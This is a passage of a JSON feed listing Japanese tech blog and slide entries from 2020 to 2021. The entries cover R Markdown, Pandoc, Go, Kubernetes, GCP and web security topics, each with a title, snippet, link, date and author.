に変えたい場合は,以下の...","link":"https://zenn.dev/toshikish/articles/38896bb9ae1913","isoDate":"2021-05-31T07:34:24.000Z","dateMiliSeconds":1622446464000,"authorName":"toshikish","authorId":"toshikish"},{"title":"\uD83D\uDC2D Goに入門しよう","contentSnippet":"社内LTにて、Goを布教しようと試みましたʕ◔ϖ◔ʔ","link":"https://speakerdeck.com/hiroki_hasegawa/goniru-men-siyou","isoDate":"2021-05-27T04:00:00.000Z","dateMiliSeconds":1622088000000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"PandocでWord出力する時にヘッダーやフッターの内容を動的に変更する","contentSnippet":"Pandocで出力するdocxファイルに好みの書式設定などを反映するには、スタイルを設定済みのdocxファイルを用意しておき、そのファイルのパスを--reference-docオプションに指定します(以下リファレンスファイル)。スタイルのカスタマイズや作成方法は以下を参考にしてください。","link":"https://blog.atusy.net/2021/05/23/pandoc-word-dynamic-header-and-footer/","isoDate":"2021-05-23T00:00:00.000Z","dateMiliSeconds":1621728000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"♾️ SREに入門しよう","contentSnippet":"社内LTにて、SRE用語を布教しようと試みましたʕ◔ϖ◔ʔ","link":"https://speakerdeck.com/hiroki_hasegawa/sreniru-men-siyou","isoDate":"2021-05-07T04:00:00.000Z","dateMiliSeconds":1620360000000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"Rustの練習","contentSnippet":"概要完全に参照の部分に慣れていないので、これをどうやって対応したのかを自分の整理のためにもメモしていくexerismでRustの勉強をしているが、その問題を使う Simple Linked List全容: https://exercism.io/tracks/rust/exercises/simple-linked-list/solutions/d0fdfb1c904344ecbf4bcf808c345cdc以下のような構造ときので後入れ先出しのパターンの場合pub struct SimpleLinkedList { head: Option&...","link":"https://zenn.dev/satohjohn/articles/536589f3a86600","isoDate":"2021-05-01T14:15:59.000Z","dateMiliSeconds":1619878559000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"First-Party Setsについて","contentSnippet":"概要Cookie のセキュリティについてです。 partyCookieにはfirst-partyとthird-partyがあります。first-partyとは現在訪れているドメインです。third-partyとは現在訪れているドメインとは違うドメインです。 SameSite Cookieshttps://developer.mozilla.org/ja/docs/Web/HTTP/Headers/Set-Cookie/SameSite現在、訪れているドメインから別ドメインにHTTPリクエストを送信するときに、Cookieをセットするか設定するものです。これには...","link":"https://zenn.dev/tayusa/articles/efa8aa75ad5519","isoDate":"2021-04-25T16:30:34.000Z","dateMiliSeconds":1619368234000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"minidown 0.1.0をリリース","contentSnippet":"minidown 0.1.0をCRANにリリース。タブセット機能の追加、サイドバーに目次を表示した時のレイアウト改善などが主な変更です。","link":"https://blog.atusy.net/2021/04/04/minidown-0-1-0/","isoDate":"2021-04-04T00:00:00.000Z","dateMiliSeconds":1617494400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ftExtra 0.2.0をリリース!","contentSnippet":"脚注、引用文献、段落の扱いを改善しつつ、処理速度も大幅改善","link":"https://blog.atusy.net/2021/03/29/ftextra-0-2-0/","isoDate":"2021-03-29T00:00:00.000Z","dateMiliSeconds":1616976000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"\uD83D\uDC2D Lambda関数をGoで実装してみた話","contentSnippet":"社内LTにて、Goを布教しようと試みましたʕ◔ϖ◔ʔ","link":"https://speakerdeck.com/hiroki_hasegawa/lambdaguan-shu-wogodeshi-zhuang-sitemitahua","isoDate":"2021-03-26T04:00:00.000Z","dateMiliSeconds":1616731200000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"Tokyo.R 90でRStudio PBCに転職しようとした時の話をした","contentSnippet":"Tokyo.R 90でもBoothの頒布物でも語っていない裏話。","link":"https://blog.atusy.net/2021/03/11/tokyor90/","isoDate":"2021-03-11T00:00:00.000Z","dateMiliSeconds":1615420800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"dplyr 1.0.4で複数列を対象としたfilterが簡単になった","contentSnippet":"dplyr 1.0.0から導入されたacross関数は、mutate関数やsummarize関数を複数列に簡単に適用できる便利な道具です。*_atや*_ifといった関数を過去のものにした他、group_byでも使えるなど、使いどころは多いです。","link":"https://blog.atusy.net/2021/02/03/dplyr-1-0-4/","isoDate":"2021-02-03T00:00:00.000Z","dateMiliSeconds":1612310400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"July Tech Festa 2021 winterで発表&運営スタッフをしました","link":"https://bells17.medium.com/july-tech-festa-2021-winter%E3%81%A7%E7%99%BA%E8%A1%A8-%E9%81%8B%E5%96%B6%E3%82%B9%E3%82%BF%E3%83%83%E3%83%95%E3%82%92%E3%81%97%E3%81%BE%E3%81%97%E3%81%9F-385e7e18aac4?source=rss-713cf42ce34d------2","isoDate":"2021-01-26T04:26:28.000Z","dateMiliSeconds":1611635188000,"authorName":"bells17","authorId":"bells17"},{"title":"R MarkdownでBootstrap 4を使えるようになった","contentSnippet":"GitHub版のrmarkdownパッケージのhtml_document関数がBootstrap 4に対応しました。本記事ではどんなことができるのか紹介します。が、同じ内容をhtml_documentでBootstrap 4を使ってレンダリングしてみたので、そちらを参考にして下さい。","link":"https://blog.atusy.net/2021/01/21/rmd-bs4/","isoDate":"2021-01-21T00:00:00.000Z","dateMiliSeconds":1611187200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"AWS ソリューションアーキテクト アソシエート合格までのまとめ","contentSnippet":"#目次#0. はじめに先日、AWS ソリューションアーキテクト アソシエート に合格したので、忘れないうちに色々とアウトプットしておこうと思います。これから受験を考えている方の役にたてればと思い…","link":"https://qiita.com/dirtymosschan/items/da3eebdf6b7be9c3eb67","isoDate":"2021-01-19T13:11:47.000Z","dateMiliSeconds":1611061907000,"authorName":"Yu Kaneko","authorId":"mos914"},{"title":"minidownで目次をハイライトできるようにした","contentSnippet":"minidown::mini_documentはrmarkdown::html_documentを軽量化しつつ同等以上の機能提供を目指すR Markdown用HTMLフォーマットです。","link":"https://blog.atusy.net/2021/01/14/minidown-toc-highlight/","isoDate":"2021-01-14T00:00:00.000Z","dateMiliSeconds":1610582400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"blogdownで記事のテンプレートを用意する","contentSnippet":"blogdownではR Markdownを使ったウェブサイトの作成ができます。名前の通り、ブログを念頭に置いたパッケージです。ドキュメントは以下にあります。ググると日本語の記事もそれなりに出てきます。","link":"https://blog.atusy.net/2020/12/25/blogdown-archettype/","isoDate":"2020-12-25T00:00:00.000Z","dateMiliSeconds":1608854400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Pandocで出力形式に依存せず見出し番号をつけたり、第1章とか第1.1節とか装飾したい","contentSnippet":"昨日はHTML出力の場合に限って、見出し番号の装飾方法を紹介しました。PandocでHTML出力時に見出し番号を第1章とか第1.1節とかしたいただ、昨日の段階ではどの方法も一長一短だったので、今日は任意の出力に対応するLuaフィルタを用意しました。","link":"https://blog.atusy.net/2020/12/24/decorate-section-numbers-on-any-format-with-pandoc/","isoDate":"2020-12-24T00:00:00.000Z","dateMiliSeconds":1608768000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"2020年にKubernetse関連で取り組んだことまとめ","link":"https://bells17.medium.com/2020-kubernetse-4771e660a174?source=rss-713cf42ce34d------2","isoDate":"2020-12-23T16:04:00.000Z","dateMiliSeconds":1608739440000,"authorName":"bells17","authorId":"bells17"},{"title":"PandocでHTML出力時に見出し番号を第1章とか第1.1節とかしたい","contentSnippet":"Pandoc単体では見出し番号を装飾してくれません。HTML出力の場合、Luaフィルタ、CSS、JavaScriptと3つほど選択肢があるので、それぞれの方法とメリット・デメリットを紹介します。","link":"https://blog.atusy.net/2020/12/23/decorate-section-numbers-on-pandoc/","isoDate":"2020-12-23T00:00:00.000Z","dateMiliSeconds":1608681600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"GCP の Identity Aware-Proxy を使って SSH した話","contentSnippet":"#Cloud Identity Aware-Proxy とは?一言で表すと、Google のアカウントを使ってセキュアにリソースに接続できるプロキシサービスです。###何ができる?GCP 上の…","link":"https://qiita.com/dirtymosschan/items/fd11001daa68d7c8d943","isoDate":"2020-12-22T11:20:18.000Z","dateMiliSeconds":1608636018000,"authorName":"Yu Kaneko","authorId":"mos914"},{"title":"gRPC-WebとGoとVue.jsで簡素なチャット","contentSnippet":"はじめに何だか良くわからないけどよく聞くgRPC-Webなるものを触りだけでも理解すべく辛うじてチャット呼べそうなものを作ってみました。概要gRPCとはhttps://grpc.io/Pr…","link":"https://qiita.com/atsuya0/items/f994ca9d820d307daffd","isoDate":"2020-12-17T17:06:43.000Z","dateMiliSeconds":1608224803000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"VolumePlugin がボリュームを作成・マウントするしくみ","contentSnippet":"はじめにPod の作成時、pod.spec.volumes に記述したボリュームがコンテナにマウントされます。マウントされる Node 側のボリュームを、VolumePlugin がどのように作…","link":"https://qiita.com/kyohmizu/items/40bee7037e1ce7949772","isoDate":"2020-12-17T10:54:47.000Z","dateMiliSeconds":1608202487000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"Tidymodelsで使えるモデルの紹介とモデルの追加方法","contentSnippet":"Tidymodelsが標準で提供するモデルと追加で提供するモデルについて軽く紹介し、更に自前でモデルを組んでみます。Rアドベントカレンダー、12/14の記事です。","link":"https://blog.atusy.net/2020/12/13/add-parsnip-model/","isoDate":"2020-12-13T00:00:00.000Z","dateMiliSeconds":1607817600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Sidekiqのジョブをパフォーマンスを考えて削除する","contentSnippet":"はじめにRailsで処理を何らかの理由で遅延させた場合や非同期に処理を行いたいときに多くの人がActive Jobを使用していると思います。とても便利で良いやつなのですがキューに積んだジョブを削…","link":"https://qiita.com/atsuya0/items/30d6259766a9a0d5103d","isoDate":"2020-12-12T17:37:05.000Z","dateMiliSeconds":1607794625000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"任意のファイルをPNGファイルで隠してみる","contentSnippet":"はじめにある日、私はファイルを連結したらどうなるんだろうという好奇心に逆らえず、おもむろに連結して確かめてみることにしました。結果、その連結したファイルは普通にファイルとして使えることがわかりま…","link":"https://qiita.com/atsuya0/items/a8ccbc9637c37cdf967e","isoDate":"2020-12-12T14:56:30.000Z","dateMiliSeconds":1607784990000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Luaフィルタがアツイ2020","contentSnippet":"Pandoc Advent Calendar 2020の12/7の記事です。多様なドキュメントフォーマット間を変換できるPandocでは、「フィルター」という機能を使って、変換処理に割り込みをかけることができます。","link":"https://blog.atusy.net/2020/12/07/lua-filter-is-hot/","isoDate":"2020-12-07T00:00:00.000Z","dateMiliSeconds":1607299200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":".gcloudignoreの書き方","contentSnippet":".gcloudignore の設定が思ったとおりに、いかなかったのでまとめます。.gitignoreと同じらしいですが、そもそもgitで今まで全体をignoreすることはやったことなかったので基本はコチラに書いてあるのですが、わからなかった部分も含みますhttps://cloud.google.com/sdk/gcloud/reference/topic/gcloudignore# 始まりはコメントです 基本の考え ファイル指定以下パターンすべてプロジェクト直下のものが対象になります。否定する場合は ! をつけます。!a.txt というファイルをデプロイ対象にしたい...","link":"https://zenn.dev/satohjohn/articles/11df180df878ac","isoDate":"2020-11-30T09:57:54.000Z","dateMiliSeconds":1606730274000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"R MarkdownやPandocでMarkdown出力する時に数式をベクター画像化する","contentSnippet":"--webtex=https://latex.codecogs.com/svg.latex?と指定するとSVG画像化した高品質な数式を得られるよ。","link":"https://blog.atusy.net/2020/11/15/pandoc-webtex-svg/","isoDate":"2020-11-15T00:00:00.000Z","dateMiliSeconds":1605398400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"R MarkdownやPandocでMarkdown出力する時に数式をPNG画像化する","contentSnippet":"R MarkdownやPandocは数式をレンダリングする方法をいくつか提供しています1。代表的な方法にMathJaxやKaTeXがありますが、これらはJavaScriptで実装されているため、出力形式がマークダウンで、ビューアーがGitHubのような場合、利用できません。","link":"https://blog.atusy.net/2020/11/08/math-in-markdown/","isoDate":"2020-11-08T00:00:00.000Z","dateMiliSeconds":1604793600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"GAE + Java 11 + Quarkusってどんなもんよ","contentSnippet":"基本的に今までTypeScript + Node.jsで書いてましたが、そろそろJVMを書きたいという気持ちが出てきました。ただし、Standard環境のGAEは良いものだと知ってしまった、、、ということでJava 11でかけないかなと思いました。GAE + Java 11を利用する上で考えるのは、 初回リクエストのレスポンス速度 (JVMの起動速度+アプリケーションの起動速度) が問題になるかと思います。では、高速に起動する(?)と言われるQuarkusを使って見たらどうだろうと思い、ちょっと調査してみました。Javaと言いながらKotlinで作ってますが、あんまり変わらない(...","link":"https://zenn.dev/satohjohn/articles/70a2b77308e0b982fb70","isoDate":"2020-11-07T13:08:25.000Z","dateMiliSeconds":1604754505000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"pinsパッケージならリモートファイルをローカルと別のリモートキャッシュできる","contentSnippet":"さわりのさわりなので、詳しくは公式を参照してね。pins::pin関数を使うと、Web上のリソースをキャッシュできる。デフォルトではローカルにキャッシュする。使い方は簡単で、関数に与えるURLをpins::pin関数でラッピングしておくだけ。","link":"https://blog.atusy.net/2020/11/04/pins/","isoDate":"2020-11-04T00:00:00.000Z","dateMiliSeconds":1604448000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"フロントエンド(SPA)でのFirebase Authとの付き合い方","contentSnippet":"Firebase Authで取得したID Tokenをどう使うか、どう保管するかが結構難しいと思っています。その中で、WebアプリケーションにおいてFirebaseのドキュメントには2パターンがあるように見えました。Cookieを使ったSession管理ID Token+Service Workerを使った管理(Betaっぽい)自分としてはそれぞれのメリット・デメリットがあると感じましたので、まとめます。 1. Cookieを使ったSession管理メリット自分でCookieの長さを決められる.2週間に設定することもできる(ID Tokenの期限は1時間)古いブ...","link":"https://zenn.dev/satohjohn/articles/d39cf288dcfbe5e39c3b","isoDate":"2020-11-03T14:40:40.000Z","dateMiliSeconds":1604414440000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"#OsakaR で2回目のもくもく会を開催しました","contentSnippet":"2020/10/31に開催しました。第1回は2020/6/6だったので、実に4ヶ月ぶり。もう少し頻度をあげたいとろですが、家族や他の勉強会とのバランスを考えると中々難しいところです。今回は私がRStudio PBCのテーブルコンテストに参戦したく、追い込みをかけるために突如企画した、というのが内情だったりします。昨日の記事にした通り、無事投稿しました。せっかくなので徒然と記録や思いを残しておきます。","link":"https://blog.atusy.net/2020/11/02/osakar-mokumoku-2/","isoDate":"2020-11-02T00:00:00.000Z","dateMiliSeconds":1604275200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"RStudio PBCのテーブルコンテストに投稿しました","contentSnippet":"2019年のShinyコンテストに続き、2020年は表コンテストが開催されました(開催案内)。実用的なのからネタなものまで幅広くテーブルを募るもので、投稿期間は9/15から10/31でした。大枠としては、Single Table Example: 面白い構造をした表、便利な機能や特殊な機能を使った表、特定の分野で用いられる表などTutorial: パッケージの機能紹介を通して素敵な表を組む方法をまとめるOtherで、更に表の形式として","link":"https://blog.atusy.net/2020/11/01/rstudio-table-contest/","isoDate":"2020-11-01T00:00:00.000Z","dateMiliSeconds":1604188800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"PandocでHTML出力する時の数式の扱い","contentSnippet":"基本はMath rendering in HTMLに記載の通り。--mathjaxや--katexはJavaScriptやCSSの読み込みをするだけで数式部分の出力は変わらないと思ってたけど、そうでもなかったのでメモがてら全パターンを試す。","link":"https://blog.atusy.net/2020/10/31/pandoc-math-rendering-engines/","isoDate":"2020-10-31T00:00:00.000Z","dateMiliSeconds":1604102400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ベクトルから要素を除去する方法とsetdiffの罠","contentSnippet":"以下のxからyを除去してみましょう。x <- c(\'banana\', \'banana\', \'apple\', \'grape\')y <- c(\'apple\', \'grape\')%in%演算子を使えばxの要素がyに含まれているか判定できるので、簡単ですね。x[!x %in% y]#> [1] \\"banana\\" \\"banana\\"もっと簡単「そう」な方法に、setdiff関数があります。ただしこいつは中でunique関数をかけている点に注意が必要です。","link":"https://blog.atusy.net/2020/10/27/remove-elements-from-vector/","isoDate":"2020-10-27T00:00:00.000Z","dateMiliSeconds":1603756800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Kubernetes Internal #1を開催しました","link":"https://bells17.medium.com/kubernetes-internal-1-ea0f1adcfe33?source=rss-713cf42ce34d------2","isoDate":"2020-10-19T10:29:31.000Z","dateMiliSeconds":1603103371000,"authorName":"bells17","authorId":"bells17"},{"title":"R MarkdownでHTML出力時に見出しのURLを簡単に取得できるようにした","contentSnippet":"このブログでも使えてます。ここにマウスを重ねると#記号が見出しの最後に現れ、クリックするとブラウザのURL覧から見出しのURLを取得できるようにしました(PR #1884)。#記号を右クリックしてメニューからCopy link locationとかしてもOK。","link":"https://blog.atusy.net/2020/10/18/rmd-anchor-sections/","isoDate":"2020-10-18T00:00:00.000Z","dateMiliSeconds":1602979200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Istio の timeout, retry, circuit breaking, etc","link":"https://medium.com/@yteraoka/istio-%E3%81%AE-timeout-retry-circuit-breaking-etc-c170285447e8?source=rss-8b55af126a13------2","isoDate":"2020-10-17T14:52:08.000Z","dateMiliSeconds":1602946328000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"オープンソースソフトウェア開発の貢献に必要なスキルは何かとインタビューされた","contentSnippet":"とある筋からオープンソースソフトウェア開発への貢献に必要なスキルセットは何かとインタビューを受けた。氏の研究に必要らしくて受けたが、今日のことをブログにしても構わないとのことだったので、ちょっとメモがてら書き残しておこう。","link":"https://blog.atusy.net/2020/10/04/contributing-oss/","isoDate":"2020-10-04T00:00:00.000Z","dateMiliSeconds":1601769600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ggplot2で列の値をそのまま色の値にしつつレジェンドも表示する(`scale_*_identity`関数)","contentSnippet":"ggplot2パッケージではscale_*_identityという名前の関数を使うと、審美的属性にマッピングした列の値をそのまま色やサイズ、透明度に反映できます。ただし、デフォルトでは凡例が表示されません。","link":"https://blog.atusy.net/2020/09/21/ggplot-scale-identity-with-legend/","isoDate":"2020-09-21T00:00:00.000Z","dateMiliSeconds":1600646400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ggplot2とplotlyで作成したグラフから凡例を残してデータを非表示にする","contentSnippet":"plotlyで作成したグラフは凡例をクリックすると、データの表示・非表示を変更できます。ではデフォルトで一部の凡例を非表示にする方法はあるでしょうか。","link":"https://blog.atusy.net/2020/09/19/ggplotly-legend-visibility/","isoDate":"2020-09-19T00:00:00.000Z","dateMiliSeconds":1600473600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"kubeadmの共通処理の実装","link":"https://bells17.medium.com/kubeadm-common-implementation-a5e5b3890dde?source=rss-713cf42ce34d------2","isoDate":"2020-09-12T19:22:01.000Z","dateMiliSeconds":1599938521000,"authorName":"bells17","authorId":"bells17"},{"title":"Kubernetes (k8s) 管理者用GUI Lens","contentSnippet":"Lensとはlensapp/lensk8sで動作する全てのリソースをモニタリングしてくれるGUIアプリLinux/Mac/Windowsで動作するこんな感じ(kindで作ったクラスタ見てます)…","link":"https://qiita.com/tozastation/items/804949c69df5d53643c6","isoDate":"2020-09-07T12:53:18.000Z","dateMiliSeconds":1599483198000,"authorName":"tozastation","authorId":"tozastation"},{"title":"パッケージのチェックをR-hubのあらゆるプラットフォームで実行し通す","contentSnippet":"結論rhub::check_for_cran(platforms = rhub::platforms()$name)負担かけすぎるのもよくないのでほどほどに。背景からCRANに投稿する際、2つ以上のプラットフォームでパッケージをチェックすることが推奨されている。","link":"https://blog.atusy.net/2020/09/07/rhub-test-all-for-cran/","isoDate":"2020-09-07T00:00:00.000Z","dateMiliSeconds":1599436800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"UMAPを異常検知の前処理に使う時に、異常データの一部もUMAPに学習させるとよさそう","contentSnippet":"UMAPは高次元データを似たもの同士が近くなるように次元縮約してくれる便利な手法だ。t-SNEよりも高速なことに加え、訓練しておいたモデルを新規データに適用できることも魅力。","link":"https://blog.atusy.net/2020/09/02/umap-outlier/","isoDate":"2020-09-02T00:00:00.000Z","dateMiliSeconds":1599004800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ftExtra 0.0.2、0.0.3をリリースしました","contentSnippet":"ftExtra 0.0.3をリリースしました。0.0.2をリリースしたらCRANにSolarisでうまくvignetteをビルドできねえんだけど、なんとかしないとCRANから消すねって言われて、慌てて0.0.3をリリースしました1。ユーザーレベルで認識できる変更は0.0.2のものです。","link":"https://blog.atusy.net/2020/08/30/ftextra-0-0-3/","isoDate":"2020-08-30T00:00:00.000Z","dateMiliSeconds":1598745600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"PandocやR Markdownでマルチカラムレイアウト","contentSnippet":"スライドを筆頭にしばしば2カラム以上のレイアウトなどを利用したくなりますね。R Markdownの場合、revealjsパッケージでマルチカラムを利用する方法が、私を含め複数の人によって提案されてきました。","link":"https://blog.atusy.net/2020/08/24/pandoc-columns/","isoDate":"2020-08-24T00:00:00.000Z","dateMiliSeconds":1598227200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"R Markdownとrevealjsとluaフィルタでチャンクやブロック要素をincrementalに表示する","contentSnippet":"","link":"https://blog.atusy.net/2020/08/15/incremental-revealjs/","isoDate":"2020-08-15T00:00:00.000Z","dateMiliSeconds":1597449600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"R Markdown Cookbookの原稿をレビューをしました","contentSnippet":"待望の「R Markdown Cookbook」が今年出ます。Webからも閲覧可能です(https://bookdown.org/yihui/rmarkdown-cookbook)。私も小ネタの提供やレビューで協力させて頂き、謝辞に載せていただきました。READMEでは2020年8月出版予定となってますが、多分、遅れるんじゃないかな?","link":"https://blog.atusy.net/2020/08/10/reviewed-rmarkdown-cookbook/","isoDate":"2020-08-10T00:00:00.000Z","dateMiliSeconds":1597017600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Cloud SQLへのprivate ip 接続でハマった話","contentSnippet":"概要Cloud SQL(MySQL)に対してprivate ipを使ってアクセスしたときに、何をチェックしたかをメモするハマったからにはきちんとログを残す現象GCE から Cloud SQL…","link":"https://qiita.com/SatohJohn/items/e79f363798a6233f9ad2","isoDate":"2020-08-07T16:53:50.000Z","dateMiliSeconds":1596819230000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"情報処理安全確保支援士の関連資料","contentSnippet":"情報処理安全確保支援士の業務を行う上で、参照すべき資料一覧です。サイバーセキュリティ基本法(平成二十六年法律第百四号)情報処理の促進に関する法律(昭和四十五年法律第九十号)情報処理学会倫理綱領RFC:1087 倫理とインターネット(Ethics and the Internet)セキュリティ対応組織 (SOC,CSIRT)強化に向けたサイバーセキュリティ情報共有の「5W1H」 v2.0 (2019年4月)JPCERT インシデントハンドリングマニュアルIPA 脆弱性対策の効果的な進め方(ツール活用編)情報セキュリティ早期警戒パートナーシップガイドラインIPA 重要なセキュリティ情報一覧IPA 共通脆弱性評価システムCVSS v3概説JVN (Japan Vulnerability Notes)JVN 脆弱性レポートの読み方JVN iPediaFIRST Common Vulnerability Scoring System SIGCWE (Common Weakness Enumeration)IPA 脆弱性体験学習ツール AppGoatMyJVNIPA 組織における内部不正防止ガイドライン地方公共団体における情報セキュリティポリシーに関するガイドライン(平成30年9月版)IPA 委託関係における情報セキュリティ対策ガイドラインIPA 中小企業の情報セキュリティ対策ガイドラインIPA 情報漏えい対策のしおりNISC スマートフォン等の業務利用における情報セキュリティ対策の実施手順作成手引書個人情報の保護に関する法律についてのガイドラインIPA 企業(組織)における最低限の情報セキュリティ対策のしおりスマートフォンのセキュリティ<危険回避>対策のしおりJPCERT/CC 技術メモ - 安全な Web ブラウザの使い方IPA ウェブブラウザのプロテクションプロファイル","link":"https://kyohmizu.hatenablog.com/entry/2020/08/05/115459","isoDate":"2020-08-05T02:54:59.000Z","dateMiliSeconds":1596596099000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"CRANを見据えるならパッケージの機能が最小限の内に送ってしまえ","contentSnippet":"金曜日にchunkhooksパッケージをCRANに送りだしました。コードブロックに行番号をつけたり、fig.widthの単位をインチからミリメートルに変換したり、そんなおお役立ちフックをちょこちょこ盛り込んでいます。","link":"https://blog.atusy.net/2020/07/27/creating-package/","isoDate":"2020-07-27T00:00:00.000Z","dateMiliSeconds":1595808000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"tibbleでカラーコードを示す列を色付けてみる","contentSnippet":"にすぜっとさんのツィートを見かけて挑戦してみました (https://twitter.com/niszet0/status/1286245706504708101)。まっとうな人はformattableとかそーゆーの使った方がいいんじゃないかな。以下のコードをRStudioのコンソールにでもコピペしてみてくださいな。ちなみにR MarkdownではRStudio IDEのpreview画面にも、HTMLなどの出力にも反映されない。","link":"https://blog.atusy.net/2020/07/23/color-tibble-column/","isoDate":"2020-07-23T00:00:00.000Z","dateMiliSeconds":1595462400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"テスト駆動開発してCRANに投げるの大事ネ","contentSnippet":"CRANに登録済みのftExtraパッケージはPandocのASTを扱ったりする都合上、内部のデータ操作が結構複雑なので、自分の意図した動作が実現するか随時確認できるように、単体テストを重視していました。","link":"https://blog.atusy.net/2020/07/20/cran-package-with-tests/","isoDate":"2020-07-20T00:00:00.000Z","dateMiliSeconds":1595203200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"rocker/verse:4.0.2を使おうとして躓いた","contentSnippet":"RをDockerで簡単に使えるようにするプロジェクトとしてrockerがあります。こいつ、R 3.x.x系とR 4.x.x系でDockerfileの書き方が結構変わったので、拡張イメージを作っている人は要注意です。","link":"https://blog.atusy.net/2020/07/17/rocker-verse-4-0-2/","isoDate":"2020-07-17T00:00:00.000Z","dateMiliSeconds":1594944000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"自作キーボードLily 58 ProのスィッチをChoc Red Proに換装した","contentSnippet":"左右分離式のLily 58 Proを使っています。キースィッチがソケット式になっていて、簡単に交換できるのがウリの一つ。このとところキーが重くて入力に失敗することがあるのが気になっていたので、キースィッチオープナーを使ってスプリングを交換してやろうかと考えていました。その場合、DMMあたりでオープナーを買って、遊舎工房あたりでスプリングを買って、作業もそれなりにあってと大仕事。","link":"https://blog.atusy.net/2020/07/13/choc-red-pro/","isoDate":"2020-07-13T00:00:00.000Z","dateMiliSeconds":1594598400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Tokyo.R 86でifもforも使わずにlifegameを実装する話をしてきました","contentSnippet":"「え!? ifもforも使わずにライフゲームの実装を!?」「できらR!!」 というタイトルで話してきました。時間切れになってしまうあたり、準備不足を晒してしまってお恥ずかしい限りでした。もっと伝えたいことがあったのに!","link":"https://blog.atusy.net/2020/06/29/tokyor86-lifegame/","isoDate":"2020-06-29T00:00:00.000Z","dateMiliSeconds":1593388800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"AWS CodeBuild において オンプレのJenkins では成功していたファイル権限系のテストをするとうまくいかない","contentSnippet":"この記事を書くに至った経緯私が開発しているチームでは、Jenkinsでビルド・テストを行っていました。色々と環境をAWSに載せ替えていく中で、AWS CodeBuildを使用することになりました。ところが、ReadOnlyに設定したファイルにWriteできないことをテストすると失敗しているではないか…","link":"https://qiita.com/tayakun/items/6b721985bc098dda9846","isoDate":"2020-06-22T15:15:05.000Z","dateMiliSeconds":1592838905000,"authorName":"Soichiro Taya","authorId":"tayakun"},{"title":"R Markdownでhtml_documentを拡張する時の注意点 (self_contained)","contentSnippet":"rmarkdown::html_documentをrmarkdown::output_formatで拡張する時、引数の指定方法を注意しないと、self_contained引数やkeep_md引数がうまく機能しなくなります(参考: オリジナルなR Markdownの出力形式を作るoutput_format関数事始め)。","link":"https://blog.atusy.net/2020/06/22/extending-rmarkdown-without-self-contained/","isoDate":"2020-06-22T00:00:00.000Z","dateMiliSeconds":1592784000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Mac VScode Maven でJunit 使ってみた","contentSnippet":"はじめにとりあえずVSCodeでJUnit使ってユニットテスト体験してみたい人が対象です。まだJavaすらMacに入れてないんだ!って人はこちらを参考にしてみてください。動作環境macOS …","link":"https://qiita.com/tayakun/items/16201aa0371fa874ec78","isoDate":"2020-06-19T18:23:53.000Z","dateMiliSeconds":1592591033000,"authorName":"Soichiro Taya","authorId":"tayakun"},{"title":"Handy Admission Webhook Library","contentSnippet":"Kubernetes の Admission Webhook を開発する際に、kubernetes/api をラップした軽量なライブラリやフレームワークを使うことがあると思います。kubernet…","link":"https://qiita.com/toVersus/items/5316e94490d60c220af7","isoDate":"2020-06-14T05:05:07.000Z","dateMiliSeconds":1592111107000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"R Markdownで出力結果を隠せるようにしてみた (minidownパッケージ)","contentSnippet":"minidownパッケージを使うと以下のような感じのことができるようになります。Resultsの部分をクリックすると図が現れます。plot(iris)Results実例は http://minidown.atusy.net/#results-folding 